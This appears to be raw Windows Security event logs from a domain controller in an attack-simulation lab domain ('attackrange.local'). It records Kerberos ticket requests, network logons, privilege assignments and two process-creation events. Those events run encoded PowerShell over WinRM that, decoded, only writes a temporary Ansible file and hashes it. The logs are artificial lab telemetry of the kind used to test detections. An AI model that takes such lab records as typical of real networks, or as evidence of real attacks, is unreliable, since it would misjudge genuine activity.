	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251608
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfa4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADIALgA5ADMAOQAxADQAOAAtADIANgAxADQANwA2ADkANAA5ADkAMAAzADUAMAA5AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251607
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfa4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADIALgA5ADMAOQAxADQAOAAtADIANgAxADQANwA2ADkANAA5ADkAMAAzADUAMAA5AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251606
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13C1BC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251605
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13C1BC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251604
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251603
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251602
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251601
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13C1A0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251600
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13C1A0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251599
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13C1A0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251598
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251597
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251596
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251595
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13ACF4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251594
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13BEBE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251593
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13BEBE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64540

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251592
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13BEBE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251591
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13BE38

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251590
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13BE38
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64539

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251589
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13BE38

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251588
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13BDBF

Logon Type:			3

